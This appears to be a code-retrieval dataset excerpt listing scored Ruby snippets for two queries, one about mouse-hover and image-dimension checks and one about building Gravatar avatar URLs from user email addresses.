"docid": "79cdee28f8a8c51559e7f69b4a8c8dc3",
"score": "0.54154956",
"text": "def need_wh?(image_path, directory)\n name = get_image_name(image_path, directory)\n if hover?(name) or active?(name)\n not_file = image_path.sub(/[_-](hover|active)\\./, '.').sub(/[_-](hover|active)\\//, '/')\n if File.exist?(not_file)\n image = get_image(image_path)\n not_image = get_image(not_file)\n return false if image[:width] == not_image[:width] and image[:height] == not_image[:height]\n end\n end\n return true\n end",
"title": ""
},
{
"docid": "05fdb92ff6c81004bfb209e75e56fa5b",
"score": "0.53691465",
"text": "def is_mouse_hovering\n mx = @window.mouse_x\n my = @window.mouse_y\n (mx >= @x and my >= @y) and (mx <= @x + @active_image.width) and (my <= @y + @active_image.height)\n end",
"title": ""
},
{
"docid": "03e72c1737a10cd5b391c93521a4bdeb",
"score": "0.5357798",
"text": "def wider?\n width > height\n end",
"title": ""
},
{
"docid": "92bcb95c3403df0c870430bc8ed93a9c",
"score": "0.52144724",
"text": "def topplable\n # is high enough\n # is my color\n height > 1\n end",
"title": ""
},
{
"docid": "66b8b560ba9d1cef7874828c6c761d24",
"score": "0.5162596",
"text": "def heuristic_mouse_over_star?\n inputs.mouse.point.inside_rect?(heuristic_scale_up(grid.star))\n end",
"title": ""
},
{
"docid": "9e3961257a4b6df10b88a78880c570cd",
"score": "0.5150297",
"text": "def a_star_mouse_over_target?\n inputs.mouse.point.inside_rect?(a_star_scale_up(grid.target))\n end",
"title": ""
},
{
"docid": "bfd0ec211dd8d25ccfe1d35dbb2deb7e",
"score": "0.5137713",
"text": "def square?\n width == height\n end",
"title": ""
},
{
"docid": "7ca0516c745e5251335169cf791c95ab",
"score": "0.5106605",
"text": "def has_dimensions?\n @tag =~ /width/ || @tag =~ /height/\n end",
"title": ""
},
{
"docid": "120600f369d0482533fbd33a49ac94e3",
"score": "0.5105981",
"text": "def square?\n height == width\n end",
"title": ""
},
{
"docid": "ec00ae5a41360ab7daa8243685f17aaa",
"score": "0.5100896",
"text": "def horizontal?\r\n return false if self.bitmap == nil\r\n return self.bitmap.width > self.width\r\n end",
"title": ""
},
{
"docid": "95cbb4c0a0013af58a624caf2e7d2d8f",
"score": "0.5086224",
"text": "def square?\n height == width\n end",
"title": ""
},
{
"docid": "c6bfee10fa3d674d3ee2d862edbdde2f",
"score": "0.5084311",
"text": "def valid?\n return false if !super\n return false if @width.nil?\n return false if @height.nil?\n return false if @show_master_shapes.nil?\n true\n end",
"title": ""
},
{
"docid": "4d6f2a06c0493392be8f9cb12a59eb8e",
"score": "0.50793844",
"text": "def resize_needed_for?(format, size)\n return false if size == 'raw'\n\n # 加工が指定されているなら必要\n w, h, method = size.scan(/(\\d+)x(\\d+)([a-z]*\\d*)/).shift\n return true if method && !method.empty?\n\n # オリジナルの画像サイズと比較\n w, h = [w, h].map{|i| i.to_i}\n begin\n if w > width && h > height\n false\n else\n true\n end\n rescue => e\n Rails.logger.info e\n Rails.logger.info \"force resize by mogile_image_store\"\n true\n end\n end",
"title": ""
},
{
"docid": "c3e543cc62d5425c88a699f1292e10c3",
"score": "0.5068534",
"text": "def greedy_mouse_over_star?\n inputs.mouse.point.inside_rect?(greedy_scale_up(grid.star))\n end",
"title": ""
},
{
"docid": "ed3cb0bc2525d9db1a168db9d7669114",
"score": "0.50560355",
"text": "def over?\n dis_x = @tempxpos - mouse_x\n dis_y = @tempypos - mouse_y\n Math::sqrt((dis_x * dis_x) + (dis_y * dis_y)) < @size/2\n end",
"title": ""
},
{
"docid": "17a2ac5b0d5a296feec7b9390342c153",
"score": "0.5041435",
"text": "def oversized?\n @requested_width.to_i > (@width.to_f * 0.5).to_i\n end",
"title": ""
},
{
"docid": "beb37b63dc6f5324c296bb1d2b76bec5",
"score": "0.5034966",
"text": "def square?\n @width == @height and @width != 0\n end",
"title": ""
},
{
"docid": "7d1c4f6e93c3349400d6784a896478fc",
"score": "0.5032852",
"text": "def zooming?\n return false unless self.is_a?(Sprite)\n self.zoom_x != @new_zoom_x || self.zoom_y != @new_zoom_y\n end",
"title": ""
},
{
"docid": "54d688f5a7fe364b6e47285d16ce7860",
"score": "0.5002218",
"text": "def greedy_mouse_over_target?\n inputs.mouse.point.inside_rect?(greedy_scale_up(grid.target))\n end",
"title": ""
},
{
"docid": "37a03392c0f2c1616fbfc0a70aa98188",
"score": "0.500039",
"text": "def heuristic_mouse_over_target?\n inputs.mouse.point.inside_rect?(heuristic_scale_up(grid.target))\n end",
"title": ""
},
{
"docid": "f81876c09e2248967b756b790ea8ee2b",
"score": "0.49954835",
"text": "def is_square?\n width == height\n end",
"title": ""
},
{
"docid": "2aa03c0dfeb9df204b4d1bc204018e25",
"score": "0.49924675",
"text": "def is_square?\n return width == height\n end",
"title": ""
},
{
"docid": "60a2cbc899add9b8b1a7c99efc9ff801",
"score": "0.49881792",
"text": "def hover_UI?\n return false unless SceneManager.scene_is?(Scene_Map)\n return true if hover_window_log?\n return true if collide_sprite?($game_party.skillbar.sprite)\n return false\n end",
"title": ""
},
{
"docid": "60a2cbc899add9b8b1a7c99efc9ff801",
"score": "0.49881792",
"text": "def hover_UI?\n return false unless SceneManager.scene_is?(Scene_Map)\n return true if hover_window_log?\n return true if collide_sprite?($game_party.skillbar.sprite)\n return false\n end",
"title": ""
},
{
"docid": "cd2760384cd88bcf424e34277f53b9c3",
"score": "0.4987729",
"text": "def isHovered main\n rel_x = @x + @radius - main.mouse_x\n rel_y = @y + @radius - main.mouse_y\n \n if((rel_x**2 + rel_y **2) <= @radius**2)\n return true\n end\n return false\n end",
"title": ""
},
{
"docid": "c8160b35d909b637686a07e7dc014e55",
"score": "0.4987473",
"text": "def hovered?\n wait_until do\n Constants::PRODUCT_PAGE[:suggestions][:hovered].match(attribute('style'))\n end\n end",
"title": ""
},
{
"docid": "10a4c16b7e4162b6a8bd330b764c36a3",
"score": "0.49796426",
"text": "def destroying?(x,y)\n x/@tile_size==@bh_x && y/@tile_size==@bh_y\n end",
"title": ""
},
{
"docid": "df5fc1a018af2b41fe32a0fd9b47882f",
"score": "0.4969753",
"text": "def a_star_mouse_over_grid?\n inputs.mouse.point.inside_rect?(a_star_scale_up(grid.rect))\n end",
"title": ""
},
{
"docid": "fb0530a5b2d211a75a12b7cf466be8bc",
"score": "0.49585605",
"text": "def hover\n attributes.fetch(:hover)\n end",
"title": ""
},
{
"docid": "1d45f63a2d35df56ba08ad50889285f9",
"score": "0.49529067",
"text": "def is_smaller_than?(dimensions)\n !is_bigger_than?(dimensions)\n end",
"title": ""
},
{
"docid": "74681d666d38bdc1817e528727d70e9a",
"score": "0.4949751",
"text": "def hover; end",
"title": ""
},
{
"docid": "74681d666d38bdc1817e528727d70e9a",
"score": "0.4949751",
"text": "def hover; end",
"title": ""
},
{
"docid": "bf5333e7addcab90bd7e34b13a5ea777",
"score": "0.49146903",
"text": "def a_star_mouse_over_star?\n inputs.mouse.point.inside_rect?(a_star_scale_up(grid.star))\n end",
"title": ""
},
{
"docid": "e6fa615aaf67edfb9efb10159cc73693",
"score": "0.49115175",
"text": "def check_dimensions\n # puts \"------\"\n # logger.debug(\"#{visual.width} - #{visual.height}\")\n if !visual_cache.nil? && (visual.width < 1200 || visual.height < 600)\n errors.add :visual, 'Dimension too small.'\n end\n end",
"title": ""
},
{
"docid": "799e3f5ff0e8d00e7bec57a3c79daafd",
"score": "0.48998484",
"text": "def check_widths(targets)\n if targets.any? { |t| t > @source_image.width }\n handle_small_source(targets, @source_image.width)\n else\n targets\n end\n end",
"title": ""
},
{
"docid": "def6aa8f4d48ac3ce8a1c6e548818e8f",
"score": "0.48761848",
"text": "def slat_actions_resized?\n [:sm, :lg, :none].include?(slat_actions)\n end",
"title": ""
},
{
"docid": "cc41287a81a7cbf842df49beec8fd835",
"score": "0.4868034",
"text": "def is_smaller_than(dimensions)\n !is_bigger_than(dimensions)\n end",
"title": ""
},
{
"docid": "4ff87781a4137a7670fdd25a8a5719f8",
"score": "0.48604888",
"text": "def heuristic_mouse_over_wall?\n grid.walls.each_key do |wall|\n return true if inputs.mouse.point.inside_rect?(heuristic_scale_up(wall))\n end\n\n false\n end",
"title": ""
},
{
"docid": "20d631fc87f55a00861e277ce1432909",
"score": "0.48472345",
"text": "def too_small?\n w, h = actual_dimensions\n fsw, fsh = img.fullsize_settings[:dimensions]\n w && h && fsw && fsh && (fsw > w || fsh > h)\n end",
"title": ""
},
{
"docid": "59d857366a6620b676fae908f4193b7e",
"score": "0.48385248",
"text": "def square?()\n return (@height == @width) & (@type == \"rectangle\")\n end",
"title": ""
},
{
"docid": "417d27b4795339d45932599ff73c85bf",
"score": "0.48312074",
"text": "def over()\n disX = @tempxpos - mouseX;\n disY = @tempypos - mouseY;\n if (Math.sqrt(sq(disX) + sq(disY)) < size/2 )\n return true;\n else\n return false;\n end\n end",
"title": ""
},
{
"docid": "b9f43b869528bf1355583d56d1a63a97",
"score": "0.4828794",
"text": "def a_star_mouse_over_wall?\n grid.walls.each_key do | wall |\n return true if inputs.mouse.point.inside_rect?(a_star_scale_up(wall))\n end\n\n false\n end",
"title": ""
},
{
"docid": "b2f850c14921694d2c9084f98f6c9144",
"score": "0.48273352",
"text": "def out_of_border?(sprite)\n sprite.x > self.x + self.width\n end",
"title": ""
},
{
"docid": "27941f9e164adaf2718834483947c724",
"score": "0.48226187",
"text": "def heuristic_mouse_over_grid?\n inputs.mouse.point.inside_rect?(heuristic_scale_up(grid.rect))\n end",
"title": ""
},
{
"docid": "93d5c107426faff3b635967c3d8a990d",
"score": "0.48207572",
"text": "def bfs_mouse_over_star?\n inputs.mouse.point.inside_rect?(bfs_scale_up(grid.star))\n end",
"title": ""
},
{
"docid": "6afa0fc5ab6dda0d315cea5a42d63507",
"score": "0.47872987",
"text": "def match_minimum_size?(width, height, min)\n if ( width && height ) < min\n return false\n end\n\n return true\n end",
"title": ""
},
{
"docid": "cd0cd30510b5146bf2282556fa7fbe72",
"score": "0.47865963",
"text": "def greedy_mouse_over_grid?\n inputs.mouse.point.inside_rect?(greedy_scale_up(grid.rect))\n end",
"title": ""
},
{
"docid": "f5355fe462135cf0770a189ce82f7089",
"score": "0.4785271",
"text": "def image_too_large?\n image[:width] > 200 && image[:height] > 150\n end",
"title": ""
},
{
"docid": "fbf4f77b3b831673e294aee0f1da5113",
"score": "0.47788876",
"text": "def can_fit_width?(width)\n @cursor_x + width + 1 < @texture.width\n end",
"title": ""
},
{
"docid": "de8e05cc27dbf7e8523182201b1d16c0",
"score": "0.4772188",
"text": "def hover\n changed\n \n @state = \"hover\"\n\n notify_observers(@x, @y, @state)\n\n return self\n end",
"title": ""
},
{
"docid": "294c04deeca29b171b7a36d3fcaabacb",
"score": "0.4766273",
"text": "def hover_deuce_result?\n name =~ /^Hover Deuce Result /\n end",
"title": ""
},
{
"docid": "585d610d608c31fabf8f60d041147f58",
"score": "0.47655585",
"text": "def hover_skillbar?(index = nil)\n return false if $game_party.skillbar.sprite.nil? || $game_party.skillbar.sprite.disposed?\n sx = $game_party.skillbar.sprite.true_x\n sy = $game_party.skillbar.sprite.true_y\n return area?(sx, sy, $game_party.skillbar.sprite.width, 32) if index.nil?\n return area?(sx + 32 * index, sy, 32, 32) rescue false\n end",
"title": ""
},
{
"docid": "585d610d608c31fabf8f60d041147f58",
"score": "0.47655585",
"text": "def hover_skillbar?(index = nil)\n return false if $game_party.skillbar.sprite.nil? || $game_party.skillbar.sprite.disposed?\n sx = $game_party.skillbar.sprite.true_x\n sy = $game_party.skillbar.sprite.true_y\n return area?(sx, sy, $game_party.skillbar.sprite.width, 32) if index.nil?\n return area?(sx + 32 * index, sy, 32, 32) rescue false\n end",
"title": ""
},
{
"docid": "13c8ff23749df5abd3efe5836037d4b6",
"score": "0.47649583",
"text": "def eql?(other)\n return false unless other.respond_to?(:width) && other.respond_to?(:height)\n other.width == width && other.height == height\n end",
"title": ""
},
{
"docid": "4c0d8f9905425eb3feb1967c91de5efa",
"score": "0.47620037",
"text": "def image_size_allowed\n return @image.width > @image_model.width.to_i && @image.height > @image_model.height.to_i\n end",
"title": ""
},
{
"docid": "be3c682a9ee18117ca42d1dd2f36740b",
"score": "0.47596353",
"text": "def valid?\n width.present? && height.present?\n end",
"title": ""
},
{
"docid": "e3cad6990d9ac903071c451489bbc3d5",
"score": "0.47579718",
"text": "def is_horizontal?(kind)\n ( width.to_f / height.to_f ) >= CONTAINER_RATIOS_BY_KIND[kind]\n end",
"title": ""
},
{
"docid": "4f74fffacb536ce22a35f825b0805cfd",
"score": "0.47569773",
"text": "def mouse_not_hovering_over obj=self, &block\n mouse_motion do |ev|\n\tif !@@game.collision_between(Mouse.new(ev.pos), obj)\n\t block.call ev\n\tend\n end\n end",
"title": ""
},
{
"docid": "62a23347298bcfda22c7c88c7221fbee",
"score": "0.4746386",
"text": "def test_heightResize\n [@window, @sprite, @bitmap].each{|container|\n c = CResizableImage.new(container, Rect.new(200, 24, 100, 50), BITMAP, ICON_RECT)\n c.resize_mode = 2\n c.draw()\n }\n return true\n end",
"title": ""
},
{
"docid": "6f161191c31e93d57929a2a92b710fed",
"score": "0.47398585",
"text": "def size_equal?(ad_template)\n width == ad_template.width && height == ad_template.height\n end",
"title": ""
},
{
"docid": "f9d2aa182b47437ea09d0c9ff2372438",
"score": "0.47372445",
"text": "def expand_width?\n e = self.expand\n e == :width || (e.respond_to?(:include?) && e.include?(:width))\n end",
"title": ""
},
{
"docid": "a298fe13c58d016e26cb0d09e1f0cd23",
"score": "0.47300667",
"text": "def new_dimensions_for(orig_width, orig_height)\n new_width = orig_width\n new_height = orig_height\n\n case @flag\n when :percent\n scale_x = @width.zero? ? 100 : @width\n scale_y = @height.zero? ? @width : @height\n new_width = scale_x.to_f * (orig_width.to_f / 100.0)\n new_height = scale_y.to_f * (orig_height.to_f / 100.0)\n when :<, :>, nil\n scale_factor =\n if new_width.zero? || new_height.zero?\n 1.0\n else\n if @width.nonzero? && @height.nonzero?\n [@width.to_f / new_width.to_f, @height.to_f / new_height.to_f].min\n else\n @width.nonzero? ? (@width.to_f / new_width.to_f) : (@height.to_f / new_height.to_f)\n end\n end\n new_width = scale_factor * new_width.to_f\n new_height = scale_factor * new_height.to_f\n new_width = orig_width if @flag && orig_width.send(@flag, new_width)\n new_height = orig_height if @flag && orig_height.send(@flag, new_height)\n end\n\n [new_width, new_height].collect! { |v| [v.round, 1].max }\n end",
"title": ""
},
{
"docid": "cec3123987b648d904c839af3a3a6866",
"score": "0.47285846",
"text": "def bfs_mouse_over_target?\n inputs.mouse.point.inside_rect?(bfs_scale_up(grid.target))\n end",
"title": ""
},
{
"docid": "95cf2c4deb2933fed812c9aa84438d9c",
"score": "0.47267717",
"text": "def test_widthResize\n [@window, @sprite, @bitmap].each{|container|\n c = CResizableImage.new(container, Rect.new(100, 24, 100, 50), BITMAP, ICON_RECT)\n c.resize_mode = 1\n c.draw()\n }\n return true\n end",
"title": ""
},
{
"docid": "6b5947aea27e6d157c8223dd9b7bc7c0",
"score": "0.47245067",
"text": "def image_dimensions_match?\n @images_match = false\n diff = []\n if @images.first.pixels.length == @images.last.pixels.length\n if @images.first.width == @images.last.width\n @log.info(\"Image dimensions match\")\n images_match = true\n else\n @log.warn(\"Image width DOESN'T match\")\n end\n else\n @log.warn(\"Image size DOESN'T match\")\n end\n\n @max_width = @images.first.width > @images.last.width ? @images.first.width : @images.last.width\n @max_height = @images.first.height > @images.last.height ? @images.first.height : @images.last.height\n\n @log.debug(\"Image 1: #{@images.first.width} X #{@images.first.height} Pixels: #{@images.first.pixels.length}\")\n @log.debug(\"Image 2: #{@images.last.width} X #{@images.last.height} Pixels: #{@images.last.pixels.length}\")\n return images_match\n end",
"title": ""
},
{
"docid": "b6a3cb9ee07ddf9097631a42199f758c",
"score": "0.47182325",
"text": "def ==(other)\n width == other.width && height == other.height\n end",
"title": ""
},
{
"docid": "3edc5531fb1c42d58a595b62a3c59c31",
"score": "0.47107723",
"text": "def scale?\n !@input.nil? && !@source.nil? && !@destination.nil?\n end",
"title": ""
},
{
"docid": "c9777fd0ba348bf51116d7163a529dc0",
"score": "0.46973908",
"text": "def stretchy?\n !@height\n end",
"title": ""
},
{
"docid": "4a3b7a4c032406527660a2363730e36d",
"score": "0.4697203",
"text": "def near_border?(sprite)\n sprite.x == self.x + self.width - 23\n end",
"title": ""
},
{
"docid": "79983ccac6ff1ed2ecf11cfa48eee1ce",
"score": "0.46958083",
"text": "def square?\n self.vsize == self.hsize\n end",
"title": ""
},
{
"docid": "2cf482ba1d2218caa526b5e45a2529ad",
"score": "0.46926165",
"text": "def under_mouse?\n @window.mouse_x > x - PADDING and @window.mouse_x < x + WIDTH + PADDING and\n @window.mouse_y > y - PADDING and @window.mouse_y < y + height + PADDING\n end",
"title": ""
},
{
"docid": "2cf482ba1d2218caa526b5e45a2529ad",
"score": "0.46926165",
"text": "def under_mouse?\n @window.mouse_x > x - PADDING and @window.mouse_x < x + WIDTH + PADDING and\n @window.mouse_y > y - PADDING and @window.mouse_y < y + height + PADDING\n end",
"title": ""
},
{
"docid": "2cf482ba1d2218caa526b5e45a2529ad",
"score": "0.46926165",
"text": "def under_mouse?\n @window.mouse_x > x - PADDING and @window.mouse_x < x + WIDTH + PADDING and\n @window.mouse_y > y - PADDING and @window.mouse_y < y + height + PADDING\n end",
"title": ""
},
{
"docid": "9eb5dfb26a834e3652eabee6a4ed593c",
"score": "0.46908206",
"text": "def layout_set?\n (@layout!=nil) and (@thumbsize!=nil)\n \n end",
"title": ""
},
{
"docid": "a539d699e6caa89395bd52d711cf8b65",
"score": "0.46893552",
"text": "def resizing?\n state == :RESIZING\n end",
"title": ""
},
{
"docid": "23bae3746657c4e9d4121c90342252e5",
"score": "0.4672541",
"text": "def greedy_mouse_over_wall?\n grid.walls.each_key do | wall |\n return true if inputs.mouse.point.inside_rect?(greedy_scale_up(wall))\n end\n\n false\n end",
"title": ""
},
{
"docid": "5d3e6365e37a1f2115cdd5c5eb3b90f5",
"score": "0.46714",
"text": "def resized?\n [:md, :lg, :xl].include?(size)\n end",
"title": ""
},
{
"docid": "9fb7c67d2a438425b74e572fd7dad32b",
"score": "0.46672043",
"text": "def larger_size_than?(material)\n # comparacion entre el atributo size del objeto1 con respecto al atributo de la instancia 2\n size > material.size\n end",
"title": ""
},
{
"docid": "d80488b40a8cf829f026d937089d1a23",
"score": "0.466389",
"text": "def double_height?\n @double_height\n end",
"title": ""
},
{
"docid": "aad7246163da4ea168bcbe1f156a12c4",
"score": "0.46635556",
"text": "def new_dimensions_for(orig_width, orig_height)\n new_width = orig_width\n new_height = orig_height\n \n RAILS_DEFAULT_LOGGER.debug \"Flag is #{@flag}\"\n\n case @flag\n when :aspect\n new_width = @width unless @width.nil?\n new_height = @height unless @height.nil?\n when :percent\n scale_x = @width.zero? ? 100 : @width\n scale_y = @height.zero? ? @width : @height\n new_width = scale_x.to_f * (orig_width.to_f / 100.0)\n new_height = scale_y.to_f * (orig_height.to_f / 100.0)\n when :<, :>, nil\n scale_factor =\n if new_width.zero? || new_height.zero?\n 1.0\n else\n if @width.nonzero? && @height.nonzero?\n [@width.to_f / new_width.to_f, @height.to_f / new_height.to_f].min\n else\n @width.nonzero? ? (@width.to_f / new_width.to_f) : (@height.to_f / new_height.to_f)\n end\n end\n new_width = scale_factor * new_width.to_f\n new_height = scale_factor * new_height.to_f\n new_width = orig_width if @flag && orig_width.send(@flag, new_width)\n new_height = orig_height if @flag && orig_height.send(@flag, new_height)\n end\n\n [new_width, new_height].collect! { |v| v.round }\n end",
"title": ""
},
{
"docid": "8341871634baf89f4848c894d3cffcae",
"score": "0.4652637",
"text": "def drawable?\n @color != Color.white && @color != Color.black\n end",
"title": ""
},
{
"docid": "1437234a29d38fe487355998c11d0406",
"score": "0.4643297",
"text": "def over?\n end",
"title": ""
},
{
"docid": "873eb5e9307866fe64da5a1625c14c1c",
"score": "0.46423888",
"text": "def legend_dimensions_given?\n legend.is_a?(Hash) and (legend[:width] or legend[:height])\n end",
"title": ""
},
{
"docid": "2f6b3a32281086cc4f613857c71f6b4e",
"score": "0.46404937",
"text": "def square?\n size1==size2\n end",
"title": ""
},
{
"docid": "b22689a781052c01493ae8d61374e8c1",
"score": "0.46394566",
"text": "def horizontal?\r\n return false if self.contents == nil\r\n return self.contents.width > self.width - 32\r\n end",
"title": ""
},
{
"docid": "6c23c91b951ce65496efaa6af4e2d1f0",
"score": "0.46391666",
"text": "def dijkstra_mouse_over_star?\n inputs.mouse.point.inside_rect?(dijkstra_scale_up(grid.star))\n end",
"title": ""
},
{
"docid": "a5bea44cfe48f4ab66770fd55ff3af07",
"score": "0.4628713",
"text": "def resized?\n [:sm, :md, :lg, :xl].include?(size)\n end",
"title": ""
},
{
"docid": "e5200456327d9deec993516c825442ed",
"score": "0.46150127",
"text": "def different?\n return nil unless old_file_exists?\n\n old_file, new_file = load_image_files(@old_file_name, @new_file_name)\n\n return not_different if old_file == new_file\n\n images = load_images(old_file, new_file)\n\n crop_images(images, @dimensions) if @dimensions\n\n old_img = images.first\n new_img = images.last\n\n if sizes_changed?(old_img, new_img)\n save_images(@annotated_new_file_name, new_img, @annotated_old_file_name, old_img)\n @left = 0\n @top = 0\n @right = old_img.dimension.width - 1\n @bottom = old_img.dimension.height - 1\n return true\n end\n\n return not_different if old_img.pixels == new_img.pixels\n\n @left, @top, @right, @bottom = find_diff_rectangle(old_img, new_img)\n\n return not_different if @top.nil?\n return not_different if @area_size_limit && size <= @area_size_limit\n\n save_annotated_images(images)\n true\n end",
"title": ""
},
{
"docid": "3f7836bc9e6ec51e5862cad5264bf22a",
"score": "0.460448",
"text": "def dijkstra_mouse_over_target?\n inputs.mouse.point.inside_rect?(dijkstra_scale_up(grid.target))\n end",
"title": ""
},
{
"docid": "083ef8aace969293aee7c0996f7b3031",
"score": "0.46005768",
"text": "def valid?(whereabouts)\n @width >= whereabouts.x and @height >= whereabouts.y\n end",
"title": ""
},
{
"docid": "46eff073037fc279d8a1e2b7bf207825",
"score": "0.45927116",
"text": "def hover_provider; end",
"title": ""
},
{
"docid": "10a3b98d13c84276a4d1b826da822e92",
"score": "0.45840585",
"text": "def hover_menu?\n name =~ /^Hover Menu /\n end",
"title": ""
},
{
"docid": "826ebec0385c6e00aed82785d1c1ab75",
"score": "0.45832196",
"text": "def on_hover_deactivated\n end",
"title": ""
},
{
"docid": "1f4c8214a84d195c1c83b43df559bf4c",
"score": "0.45816547",
"text": "def larger_dimension\n width > height ? width : height\n end",
"title": ""
},
{
"docid": "bb24134979c633b310618d64da3de316",
"score": "0.45783442",
"text": "def pixels_different?(px_a, px_b, threshold = px_difference_threshold)\n (r(px_a) - r(px_b)).abs >= threshold ||\n (g(px_a) - g(px_b)).abs >= threshold ||\n (b(px_a) - b(px_b)).abs >= threshold\n end",
"title": ""
}
] |
05a95074cbe172290c17d12dc1df7577 | Instance Methods (Images) Provides a fallback Gravatar image based of the User email address | [
{
"docid": "40f38ca0fc2c6c8e1f1ad03597a46eec",
"score": "0.75780696",
"text": "def gravatar_image(size = 128)\n Gravatar.gravatar_image_url(email, size)\n end",
"title": ""
}
] | [
{
"docid": "53383a7dbfc4f46af05fb95234f1a50b",
"score": "0.7969717",
"text": "def gravatar_for(user)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n image = image_tag(gravatar_url, alt: user.first_name, class: \"gravatar\")\n if gravatar?(user)\n image\n else\n link_to image, 'http://en.gravatar.com/', :target => \"_blank\"\n end\n end",
"title": ""
},
{
"docid": "d3070685475ab51a6b7b977f78c1a726",
"score": "0.78594846",
"text": "def gravatar_for(user)\n gravatar_id = Digest::MD5::hexdigest(user.email)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\nend",
"title": ""
},
{
"docid": "ce6860292ba02bd2a220c6988b4e468e",
"score": "0.7827736",
"text": "def avatar_url\n return image_url if image_url\n return DEFAULT_AVATAR if email.nil?\n\n # if the gravatar doesn't exist, gravatar will use a default that we provide\n gravatar_url\n end",
"title": ""
},
{
"docid": "bd87a013a1d72a7cce6720a85856ad19",
"score": "0.7823893",
"text": "def current_user_gravatar\n \thash = Digest::MD5.hexdigest(current_user.email)\n\t@image_src = \"http://www.gravatar.com/avatar/#{hash}\"\n end",
"title": ""
},
{
"docid": "e3136b28ae3e6af37114793c5fcf904c",
"score": "0.77890354",
"text": "def gravatar_for(email)\n gravatar_id = Digest::MD5::hexdigest(email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n image_tag(gravatar_url, alt: \"tuo\", class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "655ef7c8c382bcb79ddfd5e9d622672f",
"score": "0.7760408",
"text": "def gravatar\n hash = Digest::MD5.hexdigest(object.email.downcase.strip)\n h.image_tag \"http://www.gravatar.com/avatar/#{hash}?s=200\", class: 'img-circle'\n end",
"title": ""
},
{
"docid": "44f961a2fc10596dfda8aff96458d9e0",
"score": "0.7718784",
"text": "def gravatar_for(user)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"http://gravatar.com/avatar/#{gravatar_id}.png\"\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\") \n end",
"title": ""
},
{
"docid": "6befdc5bcea225123c240709ec85d3d2",
"score": "0.7709363",
"text": "def gravatar_image(email, options={})\n image_url = gravatar_url(email, options)\n options.delete_if {|key, value| GRAVATAR_OPTIONS.include?(key) }\n tag('img', options.merge(:src => image_url))\n end",
"title": ""
},
{
"docid": "176fa15c39d5edf7858cfd8ad1741478",
"score": "0.77017945",
"text": "def image\n return unless email?\n\n require \"digest/md5\"\n hash = Digest::MD5.hexdigest(email.downcase)\n \"https://s.gravatar.com/avatar/#{hash}?s=480\"\n end",
"title": ""
},
{
"docid": "df735159179b6907c7160bdcc12a848a",
"score": "0.76883006",
"text": "def gravatar_for(user, options={})\n if user\n gravatar(user.email, options)\n else\n ''\n end\n end",
"title": ""
},
{
"docid": "a3a7e24c5ae20da7758d17f287690237",
"score": "0.763944",
"text": "def gravatar_for(user)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n image_tag(gravatar_url, alt: user.email, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "a3a7e24c5ae20da7758d17f287690237",
"score": "0.763944",
"text": "def gravatar_for(user)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n image_tag(gravatar_url, alt: user.email, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "a3a7e24c5ae20da7758d17f287690237",
"score": "0.763944",
"text": "def gravatar_for(user)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n image_tag(gravatar_url, alt: user.email, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "8da4564823b8ce9abc726f163986423f",
"score": "0.7608367",
"text": "def gravatar_for(user)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n image_tag(gravatar_url, alt: user.username, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "3b2765b1575fee7a7a9c62c112e35573",
"score": "0.760559",
"text": "def gravatar_for(current_user, options = { :size => 30 })\n gravatar_image_tag(current_user.email.downcase, :alt => current_user.email,\n :class => 'gravatar',\n :gravatar => options)\n end",
"title": ""
},
{
"docid": "3b2765b1575fee7a7a9c62c112e35573",
"score": "0.760559",
"text": "def gravatar_for(current_user, options = { :size => 30 })\n gravatar_image_tag(current_user.email.downcase, :alt => current_user.email,\n :class => 'gravatar',\n :gravatar => options)\n end",
"title": ""
},
{
"docid": "31fb2726fc402c7a68a3b461bd3587e1",
"score": "0.7599239",
"text": "def default_url\n gravatar_id = Digest::MD5.hexdigest(model.email.downcase)\n \"//gravatar.com/avatar/#{gravatar_id}.png?s=400&r=g&d=identicon\"\n end",
"title": ""
},
{
"docid": "695e3577fb9affaadb02b0e1a097f5a9",
"score": "0.7584078",
"text": "def gravatar_for(user)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=256&d=identicon\"\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "e56c9f1f512f12dad55ddd6a32d7a933",
"score": "0.75754374",
"text": "def gravatar_for(user)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "8db37c91b9f52d54df6d8e9bf95b3736",
"score": "0.7574115",
"text": "def gravatar_for(user, options = { size: 140 })\n default_url = \"/assets/guest.png\"\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n gravatar = \n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.name, class: \"gravatar img-circle\")\n end",
"title": ""
},
{
"docid": "79f92c7cafe1a1ee4436bc0139d2ec7a",
"score": "0.7561899",
"text": "def gravatar_for(user)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase);\n gravatar_url = \"https://secure.gravatar.com/avatar/{#gravatar_id}\"\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "bae588234b77a859031720eb6cd2e54e",
